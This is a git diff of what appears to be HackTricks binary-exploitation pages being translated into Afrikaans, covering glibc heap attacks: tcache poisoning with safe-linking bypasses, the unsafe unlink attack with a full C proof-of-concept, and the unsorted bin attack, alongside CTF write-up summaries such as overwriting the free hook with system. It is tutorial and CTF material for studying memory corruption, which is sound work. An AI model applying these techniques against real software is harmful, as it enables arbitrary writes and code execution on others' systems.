+- 'n Manier om consolidation te aktiveer
+- 'n Double-free-agtige primitive wat deur tcache-checks geblokkeer word
+- Genoeg heap-beheer om die victim chunk te herwin en sy gemanglede `next` te herskryf
+
+#### Tcache stashing unlink attack
+
+Dit is nie 'n direkte aanval om `next` binne 'n vrygestelde tcache chunk te "overwrite" nie, maar dit is 'n baie relevante **tcache-gefokusde arbitrary-allocation primitive**. Dit misbruik die pad waar glibc chunks van 'n **small bin na die tcache** verskuif. As jy die small-bin metadata (gewoonlik `bk`) voor daardie oordrag kan korrupteer, kan glibc uiteindelik 'n **fake chunk in die tcache stash**, waarna 'n normale `malloc()` dit teruggee.
+
+Dit is nuttig wanneer 'n challenge jou sterker beheer oor **small-bin metadata** as oor 'n vrygestelde tcache entry self gee.
+
+#### Safe-linking bypasses
+
+Op glibc 2.32+ is die kernprobleem nie "hoe oorskryf ek `next`?" nie, maar "hoe produseer ek 'n geldige beskermde pointer?" Algemene antwoorde is:
+
+- Leak die heap deur 'n **vrygestelde tcache chunk** te druk of te lees.
+- Gebruik 'n overlap/UAF om die heap base te herwin en enkodeer dan die poisoned pointer korrek.
+- Misbruik 'n primitive wat effektief die beskermingslogika **twee keer** toepas of wat die **tcache metadata** eerder as 'n enkele entry korrupteer.
+- Lees gemanglede pointers terug uit vrygestelde chunks en gebruik helpers soos `decrypt_safe_linking` om die werklike pointer / heap base te herwin voordat die poisoned `next` vervals word.[[4]](#references)
+
+## Voorbeelde
+
+- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)[[5]](#references)
+- **Libc info leak**: Dit is moontlik om die tcaches te vul, 'n chunk by die unsorted list te voeg, die tcache leeg te maak en die **chunk weer uit die unsorted bin te allokeer**, terwyl slegs die eerste 8B oorgeskryf word. Dit laat die **tweede adres na libc vanaf die chunk ongeskonde sodat ons dit kan lees**.
+- **Tcache attack**: Die binary is kwesbaar vir 'n 1B heap overflow. Dit sal misbruik word om die **size header** van 'n geallokeerde chunk te verander sodat dit groter word. Dan sal hierdie chunk **vrygestel** word en by die tcache van chunks met die fake size gevoeg word. Daarna sal ons 'n chunk met die vervalste grootte allokeer, en die vorige chunk sal **teruggegee word alhoewel ons weet dat hierdie chunk eintlik kleiner was**, wat ons die geleentheid gee om die **volgende chunk in die geheue te oorskryf**.\
+Ons sal dit misbruik om die **FD pointer van die volgende chunk te oorskryf** sodat dit na 'n sensitiewe target wys. Latere allokerings gee dan 'n beheerde pointer terug en verskaf 'n arbitrary write primitive.
+- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)[[6]](#references)
+- **Libc info leak**: Daar is 'n use-after-free en 'n double-free. Die write-up le 'n libc-adres deur die linkage van 'n chunk wat in 'n small bin geplaas is, soortgelyk aan 'n unsorted-bin leak, te lees.
+- **Tcache attack**: 'n Tcache word deur middel van 'n **double free** uitgevoer. Dieselfde chunk word twee keer vrygestel, sodat die chunk binne die Tcache na homself wys. Daarna word dit geallokeer, sy FD pointer word verander om na die **free hook** te wys, en dit word weer geallokeer sodat die volgende chunk in die list in die free hook sal wees. Dan word hierdie een ook geallokeer en kan die adres van `system` hier geskryf word. Wanneer 'n malloc wat `"/bin/sh"` bevat vrygestel word, kry ons 'n shell.
+- Dit is steeds 'n goeie **historiese** voorbeeld, maar onthou dat die maklike weergawe van hierdie aanval nie na glibc `2.32+` / `2.34+` veralgemeen nie, tensy safe-linking en hook removal in ag geneem word.
+- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)[[7]](#references)
+- Die hoofkwesbaarheid hier is die vermoë om enige adres in die heap te `free` deur die offset daarvan aan te dui.
+- **Tcache indexes attack**: Dit is moontlik om 'n chunk van 'n grootte te allokeer en vry te stel wat, wanneer dit binne die tcache chunk gestoor word (die chunk met die inligting oor die tcache bins), 'n **adres met die waarde `0x100`** sal genereer. Dit is omdat die tcache die aantal chunks in elke bin in verskillende bytes stoor; daarom genereer een chunk in een spesifieke index die waarde `0x100`.
+- Hierdie waarde lyk dan asof daar 'n chunk van grootte `0x100` is, wat die aanvaller toelaat om hierdie adres te `free`.
+- Deur dan 'n chunk van grootte **`0x100` te allokeer**, sal die vorige adres as 'n chunk teruggegee word, wat dit moontlik maak om ander tcache indexes te oorskryf.
+- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)[[8]](#references)
+- Dieselfde kwesbaarheid as voorheen, met een ekstra beperking.
+- **Tcache indexes attack**: Soortgelyk aan die vorige aanval, maar met minder stappe deur die chunk wat die tcache-inligting bevat te **free**, sodat sy adres by die tcache index van sy grootte gevoeg word. Deur daardie grootte dan te allokeer, word die **tcache metadata chunk self** teruggegee, wat poisoning van ander indexes moontlik maak.
+- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)[[9]](#references)
+- **Write After Free** om 'n getal by die `fd` pointer te voeg.
+- Baie **heap feng-shui** is in hierdie challenge nodig. Die writeup wys hoe **beheer oor die head van die Tcache** free-list baie nuttig is.
+- **Glibc leak** deur `stdout` (FSOP).
+- **Tcache poisoning** om 'n arbitrary write primitive te verkry.
+- [**mailman. ImaginaryCTF 2023**](https://sekai.team/blog/imaginary-ctf-2023/mailman)[[10]](#references)
+- Moderne **glibc 2.35** challenge.
+- Die exploit chain gebruik 'n **heap leak** om safe-linking te omseil, en daarna **House of Botcake** om die overlap te skep wat nodig is vir moderne tcache poisoning.
+- Goeie voorbeeld van die gebruik van tcache poisoning as 'n stap in die rigting van **FSOP/ROP**, nie net 'n hook overwrite nie.
+- [**catastrophe. DiceCTF 2022**](https://ret2school.github.io/post/catastrophe/)[[11]](#references)
+- Moderne **glibc 2.35** challenge.
+- Leak 'n heap pointer deur 'n **vrygestelde tcache entry** te lees, enkodeer die poisoned pointer korrek, en gebruik dan **House of Botcake** om die arbitrary write te verkry wat vir die res van die chain nodig is.
+- [**high frequency troubles. picoCTF 2024**](https://pwn2ooown.tech/ctf/writeup/2024/06/10/picoCTF-HFT)[[12]](#references)
+- Moderne **glibc 2.35** challenge met **geen direkte `free()` primitive nie**.
+- Die exploit vervaardig eers 'n free-agtige primitive vanaf die **top chunk** (House of Orange / House of Tangerine-styl) en pivot dan na **tcache poisoning** en 'n moderne post-write target wat steeds werk nadat hooks verwyder is.
+
+## References
+- [1] [Check Point Research - Safe-Linking: eliminating a 20-year-old malloc() exploit primitive](https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/)
+- [2] [shellphish/how2heap (GitHub)](https://github.com/shellphish/how2heap)
+- [3] [libc-alpha mailing list - tcache changes (July 2025)](https://sourceware.org/pipermail/libc-alpha/2025-July/168994.html)
+- [4] [corgi.rip - Leakless heap exploitation (part 1)](https://corgi.rip/posts/leakless_heap_1/)
+- [5] [guyinatuxedo - dcquals19 babyheap](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
+- [6] [guyinatuxedo - plaid19 cpp](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
+- [7] [guyinatuxedo - csaw19 popping_caps0](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
+- [8] [guyinatuxedo - csaw19 popping_caps1](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
+- [9] [Math Door. HTB Cyber Apocalypse CTF 2023](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
+- [10] [mailman. ImaginaryCTF 2023](https://sekai.team/blog/imaginary-ctf-2023/mailman)
+- [11] [catastrophe. DiceCTF 2022](https://ret2school.github.io/post/catastrophe/)
+- [12] [high frequency troubles. picoCTF 2024](https://pwn2ooown.tech/ctf/writeup/2024/06/10/picoCTF-HFT)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/unlink-attack.md b/src/binary-exploitation/libc-heap/unlink-attack.md
index 959ff36db7b..07989c2801e 100644
--- a/src/binary-exploitation/libc-heap/unlink-attack.md
+++ b/src/binary-exploitation/libc-heap/unlink-attack.md
@@ -2,16 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**.
+Histories het hierdie aanval ’n baie kragtige WWW (Write-What-Where)-primitive gebied. Moderne glibc het integriteitskontroles bygevoeg, dus is die tegniek nie meer die ou klas van foute waar “enigiets-enigeplek geskryf” kon word deur `fd`/`bk` te korrupteer nie. **unsafe unlink** is egter steeds relevant as ’n manier om ’n **relatiewe pointer overwrite** te verkry, **oorvleuelende chunks** te skep, of ’n pointer table na ’n nuttiger primitive te verskuif.
-### Code Example:
+### Kodevoorbeeld:
-Code
-
+Kode
```c
#include
#include
@@ -21,109 +20,123 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
- size_t prev_size;
- size_t size;
- struct chunk_structure *fd;
- struct chunk_structure *bk;
- char buf[10]; // padding
+size_t prev_size;
+size_t size;
+struct chunk_structure *fd;
+struct chunk_structure *bk;
+char buf[10]; // padding
};
int main() {
- unsigned long long *chunk1, *chunk2;
- struct chunk_structure *fake_chunk, *chunk2_hdr;
- char data[20];
-
- // First grab two chunks (non fast)
- chunk1 = malloc(0x8000);
- chunk2 = malloc(0x8000);
- printf("Stack pointer to chunk1: %p\n", &chunk1);
- printf("Chunk1: %p\n", chunk1);
- printf("Chunk2: %p\n", chunk2);
-
- // Assuming attacker has control over chunk1's contents
- // Overflow the heap, override chunk2's header
-
- // First forge a fake chunk starting at chunk1
- // Need to setup fd and bk pointers to pass the unlink security check
- fake_chunk = (struct chunk_structure *)chunk1;
- fake_chunk->size = 0x8000;
- fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
- fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
-
- // Next modify the header of chunk2 to pass all security checks
- chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
- chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
- chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
-
- // Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
- // This results in chunk1 pointer pointing to chunk1 - 3
- // i.e. chunk1[3] now contains chunk1 itself.
- // We then make chunk1 point to some victim's data
- free(chunk2);
- printf("Chunk1: %p\n", chunk1);
- printf("Chunk1[3]: %x\n", chunk1[3]);
-
- chunk1[3] = (unsigned long long)data;
-
- strcpy(data, "Victim's data");
-
- // Overwrite victim's data using chunk1
- chunk1[0] = 0x002164656b636168LL;
-
- printf("%s\n", data);
-
- return 0;
+unsigned long long *chunk1, *chunk2;
+struct chunk_structure *fake_chunk, *chunk2_hdr;
+char data[20];
+
+// First grab two chunks (non fast)
+chunk1 = malloc(0x8000);
+chunk2 = malloc(0x8000);
+printf("Stack pointer to chunk1: %p\n", &chunk1);
+printf("Chunk1: %p\n", chunk1);
+printf("Chunk2: %p\n", chunk2);
+
+// Assuming attacker has control over chunk1's contents
+// Overflow the heap, override chunk2's header
+
+// First forge a fake chunk starting at chunk1
+// Need to setup fd and bk pointers to pass the unlink security check
+fake_chunk = (struct chunk_structure *)chunk1;
+fake_chunk->size = 0x8000;
+fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
+fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
+
+// Next modify the header of chunk2 to pass all security checks
+chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
+chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
+chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
+
+// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
+// This results in chunk1 pointer pointing to chunk1 - 3
+// i.e. chunk1[3] now contains chunk1 itself.
+// We then make chunk1 point to some victim's data
+free(chunk2);
+printf("Chunk1: %p\n", chunk1);
+printf("Chunk1[3]: %x\n", chunk1[3]);
+
+chunk1[3] = (unsigned long long)data;
+
+strcpy(data, "Victim's data");
+
+// Overwrite victim's data using chunk1
+chunk1[0] = 0x002164656b636168LL;
+
+printf("%s\n", data);
+
+return 0;
}
```
-
-- Attack doesn't work if tcaches are used (after 2.26)
+### Moderne notas
-### Goal
+- Die **primitive** is **nie dood ná tcache nie**. Die hoofprobleem is dat indien 'n chunk deur **tcache** of **fastbins** hanteer word, `unlink_chunk()` nooit bereik word nie. Daarom gebruik moderne PoC's gewoonlik **groottes buite tcache** (byvoorbeeld `0x420` in die huidige `how2heap` `unsafe_unlink.c`) of vul hulle eers die teiken se tcache-bin.[[2]](#references)
+- **Safe-linking** beskerm die singly linked lists wat deur **tcache** en **fastbins** gebruik word, maar dit beskerm nie die doubly linked `fd`/`bk` pointers wat deur die unlink checks gebruik word nie. Dit bly in die praktyk belangrik omdat baie moderne exploits unsafe unlink slegs gebruik om 'n overlap te verkry en dit dan met [Tcache Bin Attack](tcache-bin-attack.md) af te handel.
+- In moderne challenges is hierdie tegniek dikwels slegs die **eerste fase**: skep 'n overlap / verskuif 'n pointer table / korrupteer 'n bekende pointer, en chain dit dan in 'n libc leak, heap leak, GOT overwrite, FSOP, of tcache poisoning.[[3]](#references)
-This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm.
+### Doel
-- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary
-- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\
- As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT).
+Hierdie aanval laat 'n aanvaller toe om **'n pointer na 'n chunk te verander sodat dit 3 qwords voor sy oorspronklike storage location wys**. Indien daardie nuwe location interessante data bevat (ander heap pointers, stack values, globals, of 'n pointer table), kan dit moontlik wees om dit te lees of te overwrite en na 'n sterker primitive oor te skakel.
-### Requirements
+- Indien hierdie pointer op die stack gestoor word, en die gebruiker later daardeur kan lees/skryf, kan dit moontlik wees om sensitiewe stack-data te leak of selfs nabygeleë saved state te wysig sonder om die canary direk aan te raak.
+- In verskeie CTF-voorbeelde word hierdie pointer binne 'n **array of heap pointers** in plaas van die stack gestoor. Dan is dit genoeg om die pointer 3 qwords terug te skuif om aangrensende entries te retarget en die bug in arbitrary read/write teen GOT entries of ander application structures te verander.[[4]](#references)[[5]](#references)
-- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes.
-- Stack leak in order to set the pointers of the fake chunk.
+### Vereistes
-### Attack
+- Beheer oor een chunk se contents en die vermoë om die **next chunk header** te korrupteer.
+- 'n Fake chunk wat aan die moderne unlink checks kan voldoen:
+- `chunksize(P) == prev_size(next_chunk(P))`
+- `P->fd->bk == P`
+- `P->bk->fd == P`
+- 'n **Bekende writable location** wat die pointer bevat wat jy wil korrupteer (stack slot, global pointer, pointer array, heap metadata wat deur die program beheer word, ...).
+- Die target free moet werklik **backward consolidation** bereik. Indien die chunk na **tcache/fastbins** gaan, word die unlink path nie ge-trigger nie.
+- In baie moderne exploit chains is 'n **heap leak** later ook nodig omdat die overlap wat met unlink verkry word, algemeen met [House of Einherjar](house-of-einherjar.md) of [Tcache Bin Attack](tcache-bin-attack.md) ge-chain word.
-- There are a couple of chunks (chunk1 and chunk2)
-- The attacker controls the content of chunk1 and the headers of chunk2.
-- In chunk1 the attacker creates the structure of a fake chunk:
- - To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating`
- - and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located:
+### Aanval
+
+- Daar is 'n paar chunks (`chunk1` en `chunk2`).[[1]](#references)
+- Die aanvaller beheer die contents van `chunk1` en die headers van `chunk2`.
+- Binne `chunk1` skep die aanvaller 'n fake free chunk:
+- Die fake chunk se `size` moet ooreenstem met die forged `prev_size` wat later uit die next chunk gelees sal word. Andersins abort glibc met `corrupted size vs. prev_size while consolidating`.
+- Die fake chunk se `fd` en `bk` word gestel om naby die storage van die werklike `chunk1` pointer te wys, met offsets `-3` en `-2`, sodat beide integrity checks waar is en beide writes op dieselfde pointer-sized slot land.
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
-- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained.
-- When the second chunk is freed then this fake chunk is unlinked happening:
- - `fake_chunk->fd->bk` = `fake_chunk->bk`
- - `fake_chunk->bk->fd` = `fake_chunk->fd`
-- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**.
-- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**.
- - Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere.
- - Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**.
+- Die header van `chunk2` word gekorrupteer om aan te dui dat die vorige chunk free is:
+- clear `PREV_INUSE`
+- forge `prev_size` sodat dit terugwaarts na die fake chunk wys
+- Wanneer `chunk2` gefree word, voer glibc **backward consolidation** uit en verwerk `unlink_chunk()` die fake chunk:
+- `fake_chunk->fd->bk = fake_chunk->bk`
+- `fake_chunk->bk->fd = fake_chunk->fd`
+- Omdat `fake_chunk->fd->bk` en `fake_chunk->bk->fd` so gerangskik is dat hulle na dieselfde memory slot verwys, wen die tweede write en word die gestoor `chunk1` pointer verander na die address wat **3 qwords voor** dit geleë is.
+- Sodra die program `chunk1` weer gebruik, lees/skryf die aanvaller nou deur 'n **misdirected pointer**. Indien die gekorrupte pointer naby ander attacker-controlled pointers, stack variables, of 'n object table geleë is, word dit dikwels die werklike exploitation pivot.
+- 'n Baie algemene moderne voortsetting is:
+1. gebruik unlink om 'n **overlap** te verkry of 'n pointer table te korrupteer,
+2. leak **heap/libc** pointers uit unsorted of overlapped chunks,
+3. voltooi dit met [House of Einherjar](house-of-einherjar.md) of [Tcache Bin Attack](tcache-bin-attack.md).
https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit
-## References
-
-- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
-- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used:
- - CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- - In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE.
- - Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- - Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget.
- - CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- - There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute.
+## Verwysings
+
+- [1] [Heap Exploitation – Unlink Exploit (Dhaval Kapil)](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
+- [2] [how2heap – unsafe_unlink.c (glibc 2.39)](https://github.com/shellphish/how2heap/blob/master/glibc_2.39/unsafe_unlink.c)
+- [3] [Dream Diary: Chapter 3 – Hack The Box (7rocky)](https://7rocky.github.io/en/ctf/htb-challenges/pwn/dream-diary-chapter-3/)
+- Alhoewel dit vreemd sou wees om 'n direkte unlink attack in 'n CTF te vind, is hier 'n paar writeups waarin hierdie primitive of 'n baie naby variant gebruik is:
+- [4] CTF example: [Nightmare – hitcon14 stkof (guyinatuxedo)](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
+- In hierdie example is daar, in plaas van die stack, 'n array van malloc'ed addresses. Die unlink attack word uitgevoer om 'n chunk hier te kan allocate, en sodoende die pointers van die array van malloc'ed addresses te beheer. Daarna is daar nog 'n functionality wat dit moontlik maak om die contents van chunks by hierdie addresses te wysig, wat dit moontlik maak om addresses na die GOT te laat wys, function addresses te wysig om leaks en RCE te verkry.
+- [5] Nog 'n CTF example: [Nightmare – zctf16 note2 (guyinatuxedo)](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
+- Net soos in die vorige example is daar 'n array van addresses van allocations. Dit is moontlik om 'n unlink attack uit te voer om die address na die eerste allocation 'n paar posisies voor die begin van die array te laat wys en dan hierdie allocation by die nuwe posisie te overwrite. Daarom is dit moontlik om pointers van ander allocations te overwrite sodat hulle na die GOT van `atoi` wys, dit te print om 'n libc leak te verkry, en dan `atoi` GOT te overwrite met die address van 'n one gadget.
+- [6] CTF example met custom malloc- en free-funksies wat 'n vuln misbruik wat baie soortgelyk aan die unlink attack is: [Nightmare – csaw17 minesweeper (guyinatuxedo)](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
+- Daar is 'n overflow wat dit moontlik maak om die `FD`- en `BK`-pointers van 'n custom malloc chunk te beheer wat (custom) gefree sal word. Verder het die heap die exec-bit, dus is dit moontlik om 'n heap address te leak en 'n function van die GOT na 'n heap chunk met shellcode te laat wys om dit uit te voer.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
index 65d509c48d7..a36e731670e 100644
--- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
+++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md
@@ -2,72 +2,133 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
+
+Vir meer inligting oor wat 'n unsorted bin is, kyk na hierdie bladsy:
-For more information about what is an unsorted bin check this page:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
-Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
+Unsorted lists kan die adres na `unsorted_chunks (av)` in die `bk`-adres van die chunk skryf. As 'n aanvaller dus die **adres van die `bk` pointer** in 'n chunk binne die unsorted bin kan **wysig**, kan hy moontlik daardie **adres na 'n arbitrêre adres skryf**, wat nuttig kan wees om Glibc-adresse te leak of sekere verdediging te omseil.
+
+Basies laat hierdie attack toe om 'n **groot getal by 'n arbitrêre adres te stel**. Hierdie groot getal is 'n adres, wat 'n heap-adres of 'n Glibc-adres kan wees. 'n Tradisionele teiken was **`global_max_fast`** om toe te laat dat fast bin bins met groter groottes geskep word (en van 'n unsorted bin attack na 'n fast bin attack oor te gaan).[[2]](#references)
-So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack).
+- Moderne nota (glibc ≥ 2.39): `global_max_fast` het 'n 8-bis global geword. Om blindelings 'n pointer daarheen te skryf via 'n unsorted-bin write sal aangrensende libc-data beskadig en sal nie meer betroubaar die fastbin-limiet verhoog nie. Verkies ander teikens of ander primitives wanneer jy teen glibc 2.39+ loop. Sien "Moderne beperkings" hieronder en oorweeg dit om dit met ander techniques, soos 'n [large bin attack](large-bin-attack.md) of 'n [fast bin attack](fast-bin-attack.md), te kombineer sodra jy 'n stabiele primitive het.
> [!TIP]
-> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
+> T> Deur na die voorbeeld by [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) te kyk en 0x4000 en 0x5000 in plaas van 0x400 en 0x500 as chunk-groottes te gebruik (om Tcache te vermy), is dit moontlik om te sien dat die fout **`malloc(): unsorted double linked list corrupted`** **deesdae** geaktiveer word.
>
-> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
+> Daarom vereis hierdie unsorted bin attack nou (onder andere checks) ook dat jy die doubled linked list kan regstel sodat `victim->bk->fd == victim` omseil word, of dat `victim->fd == av (arena)` nie waar is nie. Dit beteken dat die adres waarheen ons wil skryf die adres van die fake chunk in sy `fd`-posisie moet hê, en dat die fake chunk se `fd` na die arena wys.
> [!CAUTION]
-> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
+> Let daarop dat hierdie attack die unsorted bin korrupteer (dus ook small en large). Ons kan dus nou slegs **allocations van die fast bin gebruik** ('n meer komplekse program kan ander allocations doen en crash), en om dit te trigger moet ons **dieselfde grootte allokeer, anders sal die program crash.**
>
-> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
+> Let daarop dat die oorskryf van **`global_max_fast`** in hierdie geval kan help, met die veronderstelling dat die fast bin al die ander allocations sal kan hanteer totdat die exploit voltooi is.
+
+Die code van [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) verduidelik dit baie goed, hoewel jy, as jy die mallocs wysig om geheue groot genoeg te allokeer sodat dit nie in 'n Tcache eindig nie, kan sien dat die voorheen genoemde fout verskyn en hierdie technique voorkom: **`malloc(): unsorted double linked list corrupted`**[[6]](#references)
+
+### Hoe die write werklik gebeur
+
+- Die unsorted-bin write word tydens `free` getrigger wanneer die vrygestelde chunk aan die kop van die unsorted list ingevoeg word.
+- Tydens invoeging voer die allocator die volgende uit: `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
+- As jy `victim->bk` voor die oproep van `free(victim)` op `(mchunkptr)(TARGET - 0x10)` kan stel, sal die finale statement die volgende write uitvoer: `*(TARGET) = victim`.
+- Later, wanneer die allocator die unsorted bin verwerk, sal integrity checks (onder andere) verifieer dat `bck->fd == victim` en `victim->fd == unsorted_chunks(av)` voordat dit unlink. Omdat die invoeging reeds `victim` in `bck->fd` (ons `TARGET`) geskryf het, kan hierdie checks bevredig word as die write suksesvol was.
+
+## Moderne beperkings (glibc ≥ 2.33)
+
+Om unsorted-bin writes betroubaar op huidige glibc te gebruik:
+
+- Tcache-interferensie: vir groottes wat in tcache val, word frees daarheen herlei en raak hulle nie die unsorted bin nie. Doen een van die volgende:
+- maak requests met groottes > MAX_TCACHE_SIZE (≥ 0x410 op 64-bit by verstek), of
+- vul die ooreenstemmende tcache bin (7 entries) sodat bykomende frees die global bins bereik, of
+- as die omgewing beheerbaar is, disable tcache (bv. `GLIBC_TUNABLES glibc.malloc.tcache_count=0`).
+- Integrity checks op die unsorted list: op die volgende allocation path wat die unsorted bin ondersoek, check glibc (vereenvoudig):
+- `bck->fd == victim` en `victim->fd == unsorted_chunks(av)`; anders abort dit met `malloc(): unsorted double linked list corrupted`.[[4]](#references)
+- Dit beteken dat die adres wat jy target twee writes moet verdra: eerstens `*(TARGET) = victim` tydens `free`; later, wanneer die chunk verwyder word, `*(TARGET) = unsorted_chunks(av)` (die allocator skryf `bck->fd` terug na die bin head). Kies teikens waar dit nuttig is om eenvoudig 'n groot nie-nulwaarde te forseer.
+- Tipiese stabiele teikens in moderne exploits
+- Application- of global state wat "groot" waardes as flags/limiete hanteer.
